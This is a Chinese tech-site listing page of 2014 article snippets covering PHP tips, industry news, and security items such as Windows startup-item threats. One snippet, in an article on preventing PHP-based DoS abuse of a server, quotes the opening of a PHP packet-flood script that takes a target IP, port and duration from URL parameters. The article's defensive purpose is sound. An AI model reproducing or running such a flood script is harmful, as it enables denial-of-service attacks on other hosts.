-
php 获取mysql随机记录rand()造成CPU 100%的解决办法
本文为大家讲解的是php 使用rand()获取mysql随机记录造成CPU 100%的解决办法,感兴趣的同学参考下。 mysql数据库有10几万条数据,使用rand()提取随机10条记录,导致服务器cpu占用居高不下直至死机~ 百度查阅了一些资料,再结合自己的一些经验,采用以下解决办法: $idlist=''; for($i=1;$i<=20;$i++){ if($i==1){ $idlist=mt_rand(3,25216); } else{ $idlist=$idlist.','.mt_rand(3,25216); } } $query="select * from table where id in ($idlist) LIMIT 0,10"; 原理其实很简单,就是产生一组随机ID,然后检索这一组ID对应的记录,经过这样优化,页面打开速度明显快了很多,CPU占用率也小到几乎为0,呵呵~顺便用这个思路把sqlserver站点也优化了一下! 速度比较: 用rand()取10条随...
PHP 2014-12-07 17:18:10 -
php去掉字符串的最后一个字符方法
本文为大家讲解的是php实现如何去掉字符串的最后一个字符方法,感兴趣的同学参考下。 今天项目中用到,去掉字符串中的最后一个字符 原字符串1,2,3,4,5,6, 去掉最后一个字符",",最终结果为1,2,3,4,5,6 代码如下: $str = "1,2,3,4,5,6,"; $newstr = substr($str,0,strlen($str)-1); echo $newstr; 解读: 采用php的substr()方法, 语法: string substr(string string, int start, int [length]); 参数1:原字符串; 参数2:切割的起始位置; 参数3:截取的长度; 按这样来使用: $newstr = substr($str,0,strlen($str)-1); 从开头截取,一直截取到倒数第二位,这样就把最后的","去掉了...
PHP 2014-12-07 10:33:10 -
防止用户利用PHP代码DOS造成用光网络带宽
本文是防止用户利用PHP代码DOS造成用光网络带宽的示例教材,感兴趣的同学参考下。 一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包. 用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下: $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if...
PHP 2014-12-07 02:36:10 -
小技巧:如何为路由器找到最佳Wi-Fi通道
站长搜索(www.adminso.com):小技巧:如何为路由器找到最佳Wi-Fi通道 在路由器上选择最佳的WiFi通道能够减少干扰并改善你的WiFi信号强度。下面这些工具将帮助你找出最通畅的那个WiFi通道...
业界动态 2014-12-06 21:24:57 -
php数组函数之end() - 移动数组内部指针到最后一个元素,并返回该元素的值
本文为大家讲解的是php的end函数的用法,end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。感兴趣的同学参考下...
PHP 2014-12-06 02:39:06 -
进军美国玩死当地企业?阿里回应“威胁论”
站长搜索(www.adminso.com):进军美国玩死当地企业?阿里回应“威胁论” 站长搜索讯 12月3日消息 近日美国多家大型零售商组成的零售联盟警告国会,假如阿里巴巴进入美国市场,将会受益于税收漏洞迅速毁掉本土企业。日前阿里巴巴回应称:这些指控没有事实依据...
业界动态 2014-12-03 20:38:26 -
那些年,乔帮主的十大经典电邮回复
站长搜索(www.adminso.com):那些年,乔帮主的十大经典电邮回复 12月2日消息,据CNN网站报道,史蒂夫・乔布斯(Steve Jobs)已经去世三年了,但他说过的话历历在耳,并继续成为攻击他的工具。最近有人因为不满苹果iPod只能播放iTunes下载的音乐,向苹果发起集体诉讼...
业界动态 2014-12-03 13:44:51 -
苹果官网十年回顾:从土鳖到高大上
站长搜索(www.adminso.com):苹果官网十年回顾:从土鳖到高大上 苹果在用户心中一直是高大上的代名词,苹果的官网和历代发布会海报也都被奉为经典,但你可知道在十几年前苹果的官网和邀请函放在今天来看,也并不是那么的“有格调”,今天我们就来回顾一下十年间苹果官网的变更。1997年时的苹果主页,在今天看来这样的页面或许会有些“土”,但在当时来看,这样的页面就是主流风格...
业界动态 2014-12-03 11:17:43 -
谁说不防水,谷歌Nexus6水下充电演示
站长搜索(www.adminso.com):谁说不防水,谷歌Nexus6水下充电演示 站长搜索讯 我们都知道谷歌Nexus6有一个6英寸的QHD大屏,强悍的高通骁龙805处理器,1300万像素光学防抖摄像头,但是它能防水吗?摩托罗拉和谷歌对Nexus6是否具有防水性能这个问题并没有给出明确的参数,但前者还是在其网站中表示Nexus6具有“抗水(Water Resistant)”功能,这并不是我们常见的IP防水标准,该防水功能主要借助于摩托罗拉的纳米涂层技术,该技术在Moto G、新Moto X中也能见到,但如果不小心把Nexus6扔到水池里会怎样?下面这个视频也许可以给我们答案。视频制作者将Nexus6浸入浴缸里进行测试,持续了5秒钟左右,在此期间同时给Nexus6进行无线充电,可以看出Nexus6在水中仍然可以进行无线充电,将Nexus6从水中取出后也一切正常,并且视频制作者表示在几天后手机也没有出现任何异常现象,看来如果Nexus6不小心掉水里也不用太过担心...
业界动态 2014-12-02 16:22:07 -
俄罗斯央行或将成立协调中心 对抗网络威胁
中新网12月1日电 据俄新网报道,俄罗斯中央银行12月1日表示,或将成立负责协调银行对抗网络威胁的特殊部门。 俄罗斯中央银行的一位消息人士称:“关于在中央银行信息安全保护管理总局基础上成立事件应对中心规定的草案已制定完成,正在等待领导层的批准...
信息安全 2014-12-02 11:23:30 -
iOS8.1.1完美越狱后,苹果发来“威胁”
站长搜索(www.adminso.com):iOS8.1.1完美越狱后,苹果发来“威胁” 越狱之后设备不再稳定,不再安全,不再耐用,而且还不享受保修,这是来自苹果赤裸裸的威胁。以下为文章全文:苹果历来都是反对越狱的,因此近期 iOS8被成功越狱之后,他们也坐不住了;站长搜索此前报道,太极发布了苹果iOS8.1.1完美越狱工具...
业界动态 2014-12-02 09:22:20 -
注意:系统启动项中暗藏的威胁要清除
注意:系统启动项中暗藏的威胁要清除 我们知道Windows中有自带的启动文件夹,而对于系统启动中的内容很少有人能够了解,也不会仔细检查它是否有威胁,因此,在这里对大家提示一下,系统启动项中暗藏着一些对电脑有威胁的程序,一定要注意,如何来操作呢? 一、“开始”菜单中的“启动”选项 在硬盘上的位置是:C:\DocumentsandSettings\Administrator\「开始」菜单\程序\启动; 在注册表中的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run; 现在你可以打开看看里面有没有什么不明的程序存在。 二、msconfig msconfig是Windows系统中的“系统配置实用程序”,它管的方面可够宽,包括:system.ini.win.ini,启动项目等...
系统程序 2014-12-02 09:18:03